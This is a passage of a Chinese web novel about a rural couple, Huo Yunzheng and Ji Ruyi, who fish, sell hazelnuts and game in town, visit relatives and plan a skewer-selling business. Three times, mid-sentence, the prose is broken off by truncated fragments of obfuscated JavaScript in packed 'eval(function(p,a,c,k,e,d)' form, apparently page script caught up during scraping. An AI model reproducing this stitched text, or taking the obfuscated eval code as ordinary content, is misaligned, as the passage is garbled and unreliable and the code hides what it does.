路过一条河时，霍云铮望着波光粼粼的水面，动起了心思：“我看时间还早，今天出了许多汗，我想下去沐浴一番。” 吉如意自然是答应的：“那你去吧，我看着东西。” “你也洗洗？” “我，我就不了。”吉如意别过脸去，才刚刚成亲，就一起洗澡，还是露天的，有点儿……有点儿……哎呀，好害羞啊。 “怕什么，这里又没人，你先去洗，我在上面帮你看着，保准没人会看到。”霍云铮继续怂恿。 不是要一起洗啊，吉如意松了一口气的同时，又隐隐有些失望。 太阳快要下山了，这个点儿该回家的也都该回了。他干了一天的活，身上也有土，也出了一身的汗，这时洗个澡，确实是很舒服的。 吉如意没抵住诱惑，最终决定下河。 汗水不深，河里有块大石头，他慢慢往里走去，用大石头将自己挡得严严实实，没让一丝春光泄露。 霍云铮起初还没好意思往河里看，后来没经受住诱惑，还是往那边看去。但见吉如意将自己遮挡的严严实实的，眼里有着几分失望。 没多久，吉如意洗净出来了。 霍云铮三下五除二将衣衫褪去，跳进了河里。 吉如意一边擦着头发，一边朝河里看去，霍云铮精壮的胸膛全都露在外面，再往下看，肚脐眼往下被水挡住，什么都瞧不见。 “如意，快给我折一根树枝来！”霍云铮兴奋地大喊，“水里有鱼，我插几条鱼回去吃。” 吉如意顾不上再看，急急忙忙去折树枝。他们带着刀斧，很快就砍了一根霍云铮所要是树枝。 霍云铮接过树枝，又在河里插起鱼来。 每插到一条鱼，就往岸上一扔，吉如意麻利地捡起鱼，穿了起来。 一共插了三条白鲢，白鲢刺虽多，但鱼都生得大，一条七八斤是常事。 霍云铮一边擦着脸，一边将最后一条鱼拎上来。 “没想到这条河里有挺多白鲢鱼 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农家人过日子都精打细算，舍不得把钱都吃进肚子里，总想攒着，万一遇到事情也有个底气。 这么多年还是头一回吃这么勤的肉，姜临自然是高兴的。 “那个是什么？”姜临看到霍云铮手里还拎着个什么东西。 “这是一条短尾蝮蛇。”霍云铮回道。 “哎呦我的老天爷啊，你怎么什么都敢抓啊，”姜临拍了拍胸脯，“这玩意毒性可强了，咬上一口可不得了。” “以后不抓了。”霍云铮笑笑。 大黑凭借着动物的警觉，朝着霍云铮的手那大叫了几声，被吉如意赶走了。 “什么东西以后不抓了？” 吉上进听到他们说话，从里面走了出来。 姜临道：“小霍抓了条毒蛇，这孩子胆子大得狠。” 吉上进道：“还得是年轻人，敢想敢干。” 霍云铮笑道：“我把蛇妥善放起来，明天去镇上卖掉。” “正好，你爹的药快吃没了，你们顺便去镇上抓些回来，我给你们银子。”说着，姜临就要进屋取银子。 吉上进拦住他：“不用抓了，这几日忙忙活活的有事情我都忘喝药了。我觉得现在的身体比喝药的时候强多了，那苦药水我可是喝够了。” “真的假的？”姜临狐疑地看着他，怕他因为怕花银子不肯吃药。 吉如意连忙道：“大爹爹，你不用担心银子的，我们还年轻，还能赚的。” 吉上进摆摆手：“我是说真的，之前那些药喝了以后也没见效果，这几天没喝，也没觉出什么。” 姜临想了一下，吉上进也不知道到底是什么病，他吃的药并不是对症的药，只不过是些滋补的药罢了。他这几天如果真没喝，那就先停一段日子看看。 “那行，如果你不舒服，一定要告诉我们，”姜临拍板做着决定，“如意，还剩下一两二钱，我去拿给你。” 这是还完了外债，仅剩下这么点儿钱，他们家也只剩下这么些银钱。 28. 第二十八章 吉如意自然是不肯要的：“小爹爹，那钱我早就说过不要了。” “那以后你们自己赚的钱不用给我，自己留着花。” 姜临见吉如意执意不肯要，也就不再硬给。 “还是要交一些的。”霍云铮在一旁说道，“以后我和如意一人交一两。” 姜临笑个不停：“一两银子可太多了，你们交一百文就行。” “那也太少了。”霍云铮其实觉得一两都少，他本来想说十两的，但又怕自己每月不能赚那么多，尤其是冬天来临的时候，就不能进山打猎了。 “招个长工一个月也就三四百文。”姜临笑着说道，“你们俩一共二两银子，岂不是太多了？” “那就一人五百文。”霍云铮觉得不能再少了，这已经是很少的了。 姜临还是不肯答应，吉如意在一旁劝他：“我们要是赚的多，就交五百文，要是赚的少，就交一百文。” 姜临这才答应下来，他们都是一家人，根本不在乎什么交钱不交钱的，交钱不过是左手倒右手罢了，就当他给小两口存着了。就算吉如意不赚钱，他也不会追着他让他交钱的。 霍云铮琢磨着，多攒些钱来，以后在家里打一口井，买一头牛，还要重新盖个房子，一样一样来吧。 饱餐一顿后，吉如意打算把榛子按照大小个挑出来。打算分大小卖，也就是榛子大小不同，卖的价钱也不同，越大越贵。 镇上也有不挑的，大小混着卖，但吉如意这次摘的榛子个大，要是挑出来卖，能多卖些铜板。 但也不用一个一个挑，取出两块木板和三个盆。将木板放在凳子上，盆放在木板下面。靠近人这边两块木板间的空隙小一些，离着人越近，空隙就越大。将榛子放在空隙之间滚，若是榛子小，就掉到了对应的盆下面。若是榛子大，自然是不会掉到小空隙里的，就会一直滚过到后面的大空隙里。 霍云铮瞧着稀奇，也想上手试试。俩人说着闲话，没用多久就把榛子挑好了，便都回屋睡下。 今日霍云铮和吉如意穿着里衣，没像昨日全脱了。 霍云铮打着赤膊，吉如意穿着抱腹。天气太热，抱了一会儿就浑身汗津津的，只能恋恋不舍地松开对方。 鸡叫了，新的一天开始了。 吉如意和霍云铮吃过早饭，收拾妥当后，一共给了吉志十文钱，坐了他的牛车去镇里。 今天去平安镇上的人不少，除了夫郎、婶子们外，也有汉子。 瞧见小两口来了，全都止住刚才的话头，将所有的话题放在了他们身上。 “卖东西去啊？”有个婶子问道。 吉如意答道：“昨天在山上摘了些榛子，云铮又打了几只野兔和野鸡。” 有人往背篓看了眼：“你还把榛子皮扒了？” 吉如意笑笑：“这样能多卖些价钱。” 青皮占的分量重，卖价自然会便宜一些，大概四五文，扒掉青皮的，能卖到十二三文，如果是炒熟的，就能卖到十四五文。 “还得说是意哥儿呢，做事就是勤快。” “谁不知道意哥儿长得好，脾气好，做活也手拿把掐的。” “那可不，别说整个平安镇找不出意哥儿这么好的模样，我看就连县城也未必有比意哥儿长得好的。” 这些话霍云铮都爱听，心里美滋滋的。 “还是小霍好，那个梁满仓我早就看他不顺眼了。哪里能配得上意哥儿。你们看看，他俩往这一坐，看起来多般配多养眼啊。” “咱们村多少人家都相中了小霍呢，还是意哥儿命好。” “这话说的，没看看小霍什么模样，单论模样来说，也就意哥儿和小霍最般配。” 夫郎、婶子们拉家常，话题来的快去的也快，说了一会儿后，有人又问起吉上进的情况，吉如意说看起来比之前好些了，大家便又聊到了其他的话题。 说说笑笑，很快就到了平安镇。 俩人来到官府设定的摆摊地点，交了两文钱。 官府的人瞧见俩人长得这么好，不由地多看了几眼。 俩人找了个地方，把背篓放下来。 霍云铮道：“我先去把这些猎物卖了，再回来找你。” 吉如意道：“你去吧，不用担心我，我以前经常出来摆摊卖。” 这种小生意农家很多人都会做，夏天时到山里采些野菜、菌子、野果子什么的来卖，也是笔进账。 霍云铮像上次一样来到了福满堂的后门，有伙计对他有印象，忙去将掌柜的找来。 刘掌柜离着老远朝他拱了下手，笑道：“霍兄弟有日子没来了，今天可都带来了什么好猎物？” “只有四只野兔，两只野鸡和一只花尾榛鸡。”霍云铮将东西拿给刘掌柜的看。 野鸡和野兔都是常见的猎物，并没什么稀奇的，只是那只花尾榛鸡倒是不错。 刘掌柜有些可惜地说：“现在镇里的老爷们就好吃些稀奇的，要是再有些别的就好了。” 霍云铮道：“前些日子倒是打了头野猪。” “怎么没见带来？” “我办婚事用了。” “怪不得今日霍兄弟红光满面的呢，原来是有喜事，恭喜恭喜啊。”刘掌柜见惯了形形色色的人，说起话来一套一套的。果然没看错人，能打野猪的小伙子了不起。 霍云铮与他客气了几句话，俩人这才把话头放在了猎物上：“霍兄弟打算卖什么价？” 霍云铮道：“野兔九十文一只，野鸡一百文一只，花尾榛鸡二百三十文，只是这野兔只卖三只。” 刘掌柜自然知道霍云铮给了他一个实惠价，也不多说什么，但奇怪为什么要留一只野兔，于是便问：“野兔因何不都卖了？” 霍云铮笑道：“野兔是送给刘掌柜你的，实不相瞒，我有一事相求。” 霍云铮便将想要马鬃的事说了出来。 刘掌柜笑道：“酒楼确实养了马，你且在这里等着，我让人给你剪些马鬃来。只是这野兔我是不要的，只不过一点儿马鬃而已，用不上一只野兔的。” 说着，刘掌柜让账房取出了七百九十文，拿给了霍云铮。 刘掌柜的说道：“霍兄弟先在这里歇着，等会儿有伙计剪完了马鬃毛给你送去。” 霍云铮拱拱手道：“多谢刘掌 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二斤可不能便宜，要是多几斤的话，还能再便宜一些。 吉如意笑道：“那您来小的这个吧，果仁都很饱满，吃起来一样的。” 中年夫郎不愿意，可也没走。 吉如意又说道：“我这是昨天才从山上摘下来的榛子，新鲜着呢。”其实放了许多天的榛子和昨天刚摘的并没有什么区别，榛子易储存、耐放，时间久了的水份会更低些。 吉如意这样说，无非是想促成这桩生意罢了。 中年夫郎又犹豫了会儿：“那给我称二斤吧。” 吉如意看他指的是中等大小的，忙用称称了二斤出来。 “您看好了，称高高的呢。” 吉如意又少抓了一些放在称里：“这是送你的。” 中年夫郎果然很高兴，痛快地付了银子。 霍云铮回来的时候，那个中年夫郎正好买完东西走，摊子前没有别人。 “你回来啦。” 霍云铮将腰间的荷包打开一块，神神秘秘地给吉如意看，并将卖得的银子一一说了遍。然后，就要把荷包交给吉如意管。 吉如意没要：“我还没收过这么多银子呢，镇上人这么多，万一丢了怎么办，等到家了再给我。” 比起小哥儿，人们通常不会去惹汉子。 霍云铮将荷包又收起来，看着下去了一小半的榛子，说道：“这么快就卖出这么多了？” “我发现大家爱买扒完皮的。”吉如意以前没卖过扒完皮的，没有那个时间。现在一看，镇上的人还是喜欢处理干净的，想来还是不差钱的多。 其实仔细一算，带皮的和不带皮的价钱是差不多的。 虽然带皮的便宜，可实际上皮也算钱的，但人和人的想法不一样，有的人就是觉得带皮的便宜。 霍云铮往摊钱一站，吉如意明显感觉到往这来的夫郎、婶子多了。 想也是，谁不喜欢好看的人和物呢。 29. 第二十九章 有了霍云铮在身旁，卖榛子的速度明显比之前快多了，就连讲价的也少了。 霍云铮负责介绍，吉如意负责称称和收钱，俩人配合的相当默契，像是已经做了千百遍那般。 还没到晌午，榛子就全都卖完了。 吉如意特别高兴，每一根头发丝都透露着喜悦。 俩人准备到镇上买些东西，赘婿也是要三朝回门的，明天是回门的日子，去霍秀兰家要拿东西的。 肉，酒是必不可少的，也有的人家只买一样或者不买。 肥肉十八文一斤，瘦肉十六文一斤，排骨十五文，不分精排脊骨，是连成一块的。 “我多买一些，能不能便宜点儿？”吉如意和肉摊老板讲着价。 老板问：“你要多少？” 吉如意道：“肥肉、瘦肉各五斤，排骨来四根。” 老板计算了一下：“肥肉和瘦肉加起来一百五十四文，算你一百五十文。那四根排骨有四斤多，算你四斤，六十文，一共二百一十文。” 吉如意估算了一下，觉得可以，便让老板将肉包起来，付了银子。 霍云铮也是时至今日才知道买东西是可以讲价的，他之前一直以为要多少就给多少呢。想起了买布那件事，这事可不能让如意知道。 霍云铮将肉放在背篓里：“买这么多，夏天这么热只怕要吃坏了。” 霍秀英家里是有井的，可就算吊在井里只怕也吃不完。 “到时咱们家留一小半，排骨就不给大姑了，晚上给你做红烧排骨吃。” 吉如意在买肉的时候就想好怎么分配了，霍云铮是吃惯了好东西的，虽然他不记得了，可吉如意也不想太亏了他的嘴，隔三差五还是要吃顿肉的。而且两个爹爹辛苦了一辈子，也是要吃些好的。 至于排骨，因为有骨头，瘦肉还多，所以不如肥肉值钱。农户人家干力气活，就喜欢吃肥肉，一咬一冒油才香呢。所以比起肥肉来，排骨更便宜些，也不太适合送礼。 霍云铮想到吉如意的手艺，馋了。 白糖七十文一斤，吉如意买了一斤。有猪肉和白糖就是重礼了，又买了两匣糕果，一匣四十文。 白糖家里还有，这一斤都是给霍秀兰的，糕果有一匣是给霍秀兰的，另一匣是给两个爹爹吃的。 酒没买，霍云铮说他之前买的还有呢。吉如意又想了一下，又买了五斤豆油，四十五文一斤，原本是二百二十五文，最后给了二百二十文。 这些礼已经很能拿得出手了，在哪里都会被人夸的。 买完这些以后，也到了中午，霍云铮提议吃完午饭再回去。 没舍得去酒楼，只在街边小摊要了两碗清汤面，五文钱一碗，里面有几叶青菜。 来吃面的人很多，店家上面的速度倒很快，不多时就将面上来了。 霍云铮瞧着吉如意吃完了一口，这才问道：“感觉如何？与你做的相比？” 吉如意又吃了一口，还喝了一口汤，细细品尝了一番，这才给出评价：“没有我做的好吃。” “你看没有你做的好吃，店家的生意还这么好。” 吉如意这才注意到，刚才还没有坐满的座位，现在已经坐满了，甚至还有等位置的。 “这些人都是在镇里做工的？” 看穿着打扮应该是的，或者是和他们一样来镇上买东西的农户。 吉如意仔细观察了一下，这个摊位并不大，大概能坐十个人。有的坐不下的，等不及的，就端着碗到房檐下吃，不着急的就在旁边等位置。 粗略计算中午这么一会儿功夫，就得有二三十人来吃，晚上的话可能有些打短工的人不在这里吃，人会少一些。 但一天怎么着，也得有四五十人来吃。吉如意往少了算，一天四十人吃，一人赚两文钱，一个月就是三百二十文。 算着算着，他双眼放光，这笔买卖行啊。 小夫郎认真起来的模样很是可爱，霍云铮忍住亲他的举动，在桌子下面摸摸他的手。 吉如意反应过来，轻轻抿了抿唇。 结过账后，俩人还要再买些东西。 农户人家到镇上一趟不容易，离着远，来一次就尽量把家里缺的东西多买一些。 酱油、做活用的各种线、各种零三八四的东西，又花了九十五文。 路边有卖烤串的，发出阵阵香气来。 吉如意上前去问，素的两文钱，荤的四文。 他又买了六串素的，四串荤的，又花了二十八文。 如果是他自己来，除了用的东西以外，他连面都不会吃的。 在外面吃多贵啊，回家吃能省下几文是几文。 不是他这么想，是很多村民都这么想。大家过日子赚钱不容易，自然是能省则省。 不过，现在有了霍云铮，他是万万不能让他饿着的。 吉如意边吃边说道：“这个比面更赚钱，你看大家都好几串好几串的买。这一串上面也没有多少东西，青菜自家园子就有，根本不花银子，签子就到山里砍树做呗，废些功夫而已，也不花银子。就是肉和调料花些银子，但是卖得也贵啊。” 霍云铮笑道：“怎么样，考虑我之前说的吗？” 吉如意越看越动心：“我觉得成，咱们回去研究研究卖点儿什么。” 吉如意一旦起了这个心思以后，就开始观察镇里卖的吃食。他之前从未如此这么认真地观察过，越看越觉得靠谱。他也想多赚些银子，家里打口井，来回拎水太累了。 至于重新盖房，买牛，吉如意没敢想。 本来还打算去官府报备打弓箭的事，但负责经办此事的人休沐，只好该日再办。 晚上，临睡前，吉如意将自己卖榛子赚得的银子都倒出来，一个铜板一个铜板的数。 一共是三百九十文，只差十文就是四百文了。 他双眼亮晶晶的：“这么多！你再数一遍，我别再数错了。” 霍云铮被吉如意的笑感染了，也认真数了一遍：“没错，就是三百九十文。” 吉如意把霍云铮给他的银子又查了一遍，算着今天的进项和花销：“卖榛子赚了三百九十文，卖猎物赚了五千七百九十文，加在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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串了三串，然后再每一百文串成一串，串了四串，剩下的三十三文没串。 吉如意拿出二百五十三文，有二百文是要交给姜临的，剩下的三十三文留作平常开销用。 这样，他的八千四百三十三文，就变成了八千二百三十三文。 串好了铜板以后，吉如意美滋滋的和霍云铮出去洗手。 姜临和吉上进还没有睡着，听着动静了随意问了句小两口怎么还没睡。 吉如意见姜临没睡，就把本打算明天交公的银子拿了过来。 姜临一看，笑道：“这个月都过了一半了，我要一百文就行，剩下的你们拿回去。” 吉如意自然是不肯的，将两串铜板甩给姜临就走了。 姜临只好拿起铜板收了起来，眼里眉梢都止不住的笑意：“之前和梁满仓定亲以后如意都没这么高兴，还得是小霍啊。” “你这话说的，梁满仓能和小霍比呢？不说他骗婚的事，就算他没骗婚，单看这个人来说，和小霍就是一个天一个地。”吉上进提起梁满仓就一肚子的气，“当时定下他，那是矬子里面拔大个，实在没办法了，要不然哪还有他的事了。我之前就觉得把如意给了他苦了如意，幸好现在有了小霍。” 夫夫俩说着小话，没过一会儿就睡着了。 另一边的小两口也相拥睡去，明天还要去霍秀兰家呢，得早点儿起来。 30. 第三十章 小两口吃完早饭，收拾了一通后，拿着昨天买的东西去往霍秀兰家。 一路上，遇到不少人。 等小两口走过后，有的人聚在一起窃窃私语。 “拿的礼还挺重呢，有肉有果糕，那袋里包着的是糖吧，都不便宜。” “小霍打猎能赚，那点儿银子在人家眼里可不算什么。” “话可不能这么说，他现在入赘到吉家了，想花钱不也得看吉家愿不愿意。” “倒也是。” …… 霍秀兰今天也起得挺早，早就里里外外收拾了一遍，就等着他们来了。 推开院门，余小山和余小川先跑了过来，然后是余英。 霍秀兰和余禾也走出来迎，霍秀兰让余小山把东西拿进屋，一把拉过吉如意的手，满脸堆着消息，非常热拢亲切。 往屋里走的时候，吉如意远远地瞧见门口站着一个身材高挑，相貌清秀的哥儿，怀里抱着一个一岁多的小哥儿。 小哥儿见到他们有些拘谨，霍秀兰一把拉过他的手，笑着向二人介绍：“意哥儿是认识我家溪哥儿的，抛开小时候的那次，云铮是头一回见。这就是我和你大姑父的大儿子，溪哥儿，那是他家小哥儿，叫宁哥儿。溪哥儿，这是你云铮弟弟。” 吉如意自然是认识溪哥儿的，不过不熟悉。 溪哥儿比他们都大一些，吉如意跟着霍云铮叫了一声大哥好。 几人进了屋，随便聊着家常。 余小山和余小川缠着霍云铮，对他打野猪一事十分感兴趣，纵使已经听过一次了，还要他再讲一遍。 霍秀兰像赶苍蝇似的挥挥手：“去去去，别缠着你云铮哥。都是快要定亲的人，还这么不稳重。” 霍云铮眼前一亮，看向余小山：“都要定亲了？” 余小山果然不好意思起来，再没有方才的欢实劲，找了个借口跑出去了，余小川也跟着跑了。 “在看呢，要是有相中的，就先把亲事定下来。” 那就是还没有合适的，霍云铮说了几句不急慢慢看，便将这话头揭过去了。 余禾被霍秀兰打发出去干活了，除了霍云铮，再没了其他的汉子，说话也放松了很多。 霍秀兰又把话题放在了溪哥儿身上：“云铮刚过来的那段日子，我让你大姑父过去叫溪哥儿回来，那时候溪哥儿家里有事，没能来得及回来。这不你俩成亲了，才终于有空回来了。” 溪哥儿性子腼腆，并不怎么说话，这时说道：“相公来年要考秀才，家里脱离不开。” “要我说来年才考秀才呢，你回来又不是叫他也来，怎么就脱离不开呢？以前可不是这样的。”一提起这事，霍秀兰还是万分不满。 溪哥儿安抚着她：“这不回来了吗。” 一提起这个，霍秀兰更气了：“那天吃完饭你和书禹匆匆忙忙就要走，我说让你多待几天，叫书禹先回去，你刚开始都不答应。” 溪哥儿和冯书禹成亲两年多了，那日他是和冯书禹一起回来的。霍秀兰硬是留他在家里住几日，冯书禹吃过席就自己先回去了。 吉如意忙将话拉过来，笑着说道：“等哥夫儿明年考中秀才，大姑可就是秀才的丈母娘了。” 霍云铮也忙跟着说，霍秀兰这才满脸堆笑，又说了些别的话。 吃完午饭后，吉如意和霍云铮就打算回去了。 “咱们都在一个村子里住着，见面的机会多的是，我也不多留你们了。”霍秀兰给余禾使了个眼色，“把东西拿出来。” 不多时，余禾抱着一个长条的木匣子出来了。 放在炕上，示意霍云铮打开看看。 霍云铮打开一看，和吉如意具是满脸惊喜——竟是一匣子的箭！ “早就给你准备了，”霍秀兰看小两口这副震惊的模样，自然是欢喜的，“本打算你成亲那日就给你，可是铁匠没打好，昨天你姑父才取了回来。一共十支箭，我想着这东西可以反复使用，应该是够的。如果不够，以后我再叫铁匠给你多打些。官府那边，也已经打点好了，不用担心。” “够的够的。”霍云铮连连应声，生怕他说不够，霍秀兰便又要去打箭。 霍秀兰一手拉起吉如意的手，一手拉起霍云铮的手，又将他二人的手放在一处，拍了拍：“以后好好过日子，有什么事就和大姑说。你虽没了父母，可还有大姑，在我的眼里，你就和我的孩子是一样的。” 霍云铮心里火热热的，自是万分感动。 正要说些什么时，霍永强不满的声音从远处传来：“云铮怎么没说去叔家看看？” 他都忘了今天是霍云铮回门的日子，还是方才在村里溜达，听说霍云铮提了老大一堆东西去回门，这才急匆匆地赶来。 霍秀兰阴阳怪气地说道：“云铮来这里这么长时间了，你这个当叔的还是头一回要他去你家。” 霍永强理直气壮：“之前不是忙吗。” “那你晚上至少准备八道菜，把那酒和肉都摆上，云铮晚上自会去你家的。” 霍永强不说话了，他还得酒肉伺候着，万一亏了呢？ 趁着这空，霍云铮带着吉如意悄悄地走了。 霍秀兰又怼了霍永强几句，直把他说的哑口无言，灰溜溜地走了。 溪哥儿也要回家，霍秀兰是个心疼孩子的，本想再留他多住几天，见他执意要走，也不好再说什么。 “你等等，我去给你装些东西带着。”霍秀兰轻轻叹了口气，心中万般不舍。 溪哥儿阻止着：“不用了娘，家里什么都有呢。” “有你也带着，住了好几天，再空着手回去，也不好看。” 说着，便装了一篮子的东西出来。 “娘，肉我就不拿了，留着你们吃吧。” 霍秀兰给他的肉，正是吉如意拿来的。原来的半头野猪，做席面早就吃没了。她知道今天小两口要回门，昨天特意托人到镇上帮她买了点儿猪肉回来。今天中午吃的肉，就是她买的。 “让你拿你就拿着，家里这么多的肉也吃不了，放坏了白瞎东西。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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溪哥儿笑了笑：“早该买了，去年家里又买了些地，我当时就和娘说你们几个干不过来，得买头牛的。” 霍秀兰之前想的是家里三个汉子呢，她也年轻能干，用不着买牛，把买牛的银子省下来多好。但事实证明，家里那么多的地确实是干不过来的，还是要买头牛。 打春的时候就开始看了，一直没有相当的。 哥俩说着话，也就到了青木村。 “哥，你回去吧，我就不到你家了。” 已经到了村里，不会再有什么危险，余小山就想回去了。 “到我家坐坐吧。”溪哥儿让着他。 “不坐了，天气也不早了，我们还是先回去吧，以后再来。” 溪哥儿又嘱咐了几句，三人在村口告别。 溪哥儿往家里一进，就听到弟夫郎夏哥儿阴阳怪气地说道：“大嫂，你终于舍得回来了？你以为你还要再住些阵子才回来呢。” 31. 第三十一章 夏哥儿名叫吴夏，是冯书禹弟弟冯虎的夫郎，嫁过来也有一年多的时间了。 冯书禹兄弟二人，原本他不叫这个名，兄弟俩一块被送去读书，他书读的好，很受夫子喜欢，就给他改了个名。 冯虎读书没天分，自己也不爱读，去过一阵子就不去了。 冯书禹考中童生的时候才十五岁，本想着第二年能一举考中秀才，谁知考了几年愣是没考上。 整个冯家全都指望着冯书禹能出人头地，他还年轻，还有都是机会。 溪哥儿没说话，他一向不擅长应付这样的场面。 婆婆赵凤珍听到声音从屋里出来，刚想说些什么，眼睛一下子盯在溪哥儿手里拿着的篮子上面。 快走了几步，一把夺过篮子：“都拿了什么东西回来？” 夏哥儿也走过来看，见上面都是一些寻常的菜，刚要出言讥讽，又见最底下的那两块肉，顿时眉开眼笑起来。 在这个家里，最金贵的当属冯书禹，家里条件不好，有什么好吃的，都先紧着冯书禹先吃，就连孩子们都未必能捞到什么好的。 这么两大块肉，今天如果不全吃了，那肯定会坏掉的。冯书禹一个人可吃不了这么多，他们也能跟着尝尝。 赵凤珍显然不是很满意：“你娘没给你拿些银子？” 溪哥儿把孩子放下来，让他自己去玩儿。 “家里现在不宽裕，小山开始相看了，定了亲以后，彩礼又是一笔银子。” “买地就有银子了？我听你爹说你家还想买头牛呢，买牛也有银子？书禹的笔墨可都没银子买了，你又不是不知道，你倒是说说要是没了银子，他可怎么读书？你这不是耽误他来年考秀才吗？” 溪哥儿嗫喏：“我会去赚的。” “你有什么法子赚钱？”赵凤珍的声音变得尖锐起来，“你一个小哥儿还想抛头露面赚钱去不成？趁早过几日再回你娘家一趟，找你娘要些银子回来。” 冯书禹从窗台探出半截身子：“娘，你小点儿声，吵到我读书了。” 赵凤珍立马变了副嘴脸：“好好好，娘不说了，可别耽误你读书。” 又狠狠瞪了溪哥儿一眼，到底没再说出什么。 心中暗骂：“要不是看你有个有钱的娘家，当初也不会要你。” 冯书禹考中童生以后，他们家的身价顿时在青木村上涨了不少。以前那些跟他有过节的人，见着他们都和颜悦色的，冯家的人着实威风了许多。 冯书禹到了该相看的年纪，赵凤珍与冯老汉本来想给他娶回来一个有钱人家的姐儿。 童生虽说也是读书人，实际上享受不到官府给的半点好处，与寻常的农户相比，只不过是多识几个字罢了。当然，若是到镇上找个轻巧的活计是比普通农户要容易许多，给的价钱也会高一些。 童生只有考上秀才后，其身份地位、经济条件等等才能来个大翻身，彻底不一样了。冯家又很穷，所以，有钱人家的姐儿，根本看不上他们家。 普通人家的姐儿，对他们家又没什么助力。冯书禹读书费银子，冯家供得十分吃力，日子过得苦哈哈。 挑来挑去，挑到了溪哥儿这里。因为溪哥儿是个哥儿，刚开始他们都不太满意的。哥儿的生育能力不如姐儿，很多人家都不愿意娶哥儿。 可溪哥儿家里条件好，又有一个在省城做生意做的很大的舅舅，听说那个舅舅每年都给他们家送好几车的东西呢，那得值多少银子啊。 赵凤珍进屋问冯书禹肉想怎么吃，顺便又抱怨了几句。 “之前定下他，不过是因为他舅舅在省城做大生意，想着对咱家能是个帮衬。谁知道他舅舅说不行就不行了？他那个弟弟还不争气地跑去给人家当上门女婿了，真是没出息到粪堆里了。呸！只是可怜了我的儿，堂堂读书人，娶了个小哥儿当夫郎，说出去都让别人笑话。” 冯书禹举起书来，遮住所有的情绪：“娘你别说了。” *** 吉如意自打从平安镇回来以后，就开始琢磨着赚钱的路子。 本来想做一些馒头、饼之类的卖，后来又否了，最后定下了卖烤串。 “我还是觉得烤串好，本钱投入不大，咱们家没菜了，可以在村里买，这个季节的菜也便宜。”吉如意认真地说道，“我还听镇上的人说，他们尤其在晚上的时候，就喜欢在外面吃点儿烤串，喝点儿酒。咱们把料好好调一调，肯定会吸引很多人来吃的。” 他上次吃的那个烤串，味道其实也就那样，他有信心做的更好。 其他三人表示同意，说干就干，吉如意和霍云铮又仔细商量一番。 知己知彼百战百胜，为了调好酱汁和料汁，了解食客的口味，吉如意和霍云铮把平安镇里生意火的烤串都吃了一遍，一共花了他七百三十二文，可把他心疼坏了，这是以前从来没有过的。 不过可没白吃，倒是让他吃出了不少名堂，越发觉得这个生意能做。 他听人说，有的人光夏天卖烤串，就能在镇上买座房子了。吉如意这可没敢想，他只希望能赚得一些银子就好。 等到天气冷时，烤串的生意就不那么好做了，正好也到了秋收的季节。 想到镇上卖烤串，烤炉和碳是必不可少的。 小两口到铁匠那里定了一个烤炉，花了一两四百文，五百根铁烧烤签，八文一个，四两银子就没了。又买了六百文的碳，这些加一起共花了他六两银子。 这么一番折腾下来，他的八两银子剩了不到二两。可把吉如意心疼坏了，霍云铮看着小夫郎这副模样，轻轻把他揽在怀里：“等以后开始做生意了，这些银子都会回来的，还会赚得更多。” 吉如意心里画魂：“如果没有吃怎么办？”花了这么多银子，可全打了水漂。 “怎么会，我看镇里的那些也不过如此。如果真不行也没关系，你相公我打猎养你。” 霍云铮轻生安慰着他，轻柔的话语扫平了他内心的不安。这是他头一次做这么大的决定，又是头一次花这么多的银子。说到底，这些银子都是霍云铮赚来的。如果真赔了，他不知道该怎样面对霍云铮。霍云铮显然知道他是怎么想的，抱住他，用手指指自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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汉子到镇上做工，一天也就赚二三十文。所以说，做烧烤签子赚的可比到镇上做工多多了，对庄户人家来说，这是笔大收入。 吉勤奋家里得了这个伙计，老少齐上阵，做的都十分卖力。 吉勤奋和两个儿子做桌椅，王秋菊领着儿媳等人做签子。 农户人家的院子都大，院墙都低，他们在院子里干活时，外面的人都能瞧见。 有人就问他们在做什么，吉如意要去镇上卖烧烤的事也没打算瞒着村里的人，吉勤奋便将事说了一遍。 有人持肯定态度，有人持怀疑态度，但不管怎样都是别人家的事。还有那脑筋灵活的，跑去吉家问，还缺不缺做烧烤签子的了。 吉如意没说死，只说暂时不用了，等以后用不用会告诉大家的。 如果这门买卖真做好了的话，只怕大伯一家人做的签子会不够用。吉如意和姜临要备菜，也没有时间做签子，所以以后很有可能还需要人手做签子。 大家虽失望，但心中也都存在个念想，要是真用他们可好了，一个月能赚不少银子呢，家里可就宽裕了。 32. 第三十二章 吉如意又去了趟乔哥儿家，问他以后干不干制烧烤签子的活。 人都有亲疏远近，赚钱的活自然是先紧着自家人，等自家人手不够用了，才会雇村里人。 乔哥儿连声答应着：“干干干，不光我想干，我娘和嫂子都想干。” 就算吉如意不来找他，他还想去找吉如意呢。最近村里都传开了，吉如意要去镇上卖烤串的事。 吉如意问：“你嫂子不是怀孕了吗？” 乔哥儿道：“她说坐着就能干，每天坐着也无聊，要是觉得身体还行就干点儿，累了就休息。” 农人家大多都勤快，有赚钱的活计都想赚些。 “那行，也让嫂子注意点儿身体。现在我大伯娘他们在做，我也不知道生意能不能好，要是他们忙不过来的话，你们就帮我做些。” 乔哥儿表示没问题：“你做饭那么好吃，生意肯定会红红火火的！” 俩人又说了几句话，吉如意便回家了。 吉如意和姜临在家里调配蘸料和调料，经过不知道多少次试验后，终于调制出来一个让他满意的料。 这天，吉如意做了一些烤串，送去了吉勤奋、吉庆丰、乔哥儿和霍秀兰家里，让他们帮着尝一尝好不好吃。 吉有志家里也送去了，免得别人家都有，他们再挑理。不过吉如意没说让他们帮着尝尝味道，只说送给他们吃的。 其他的几家一致给了好评，都说味道不错。 回来的时候，迎面遇到了刘老夫郎。 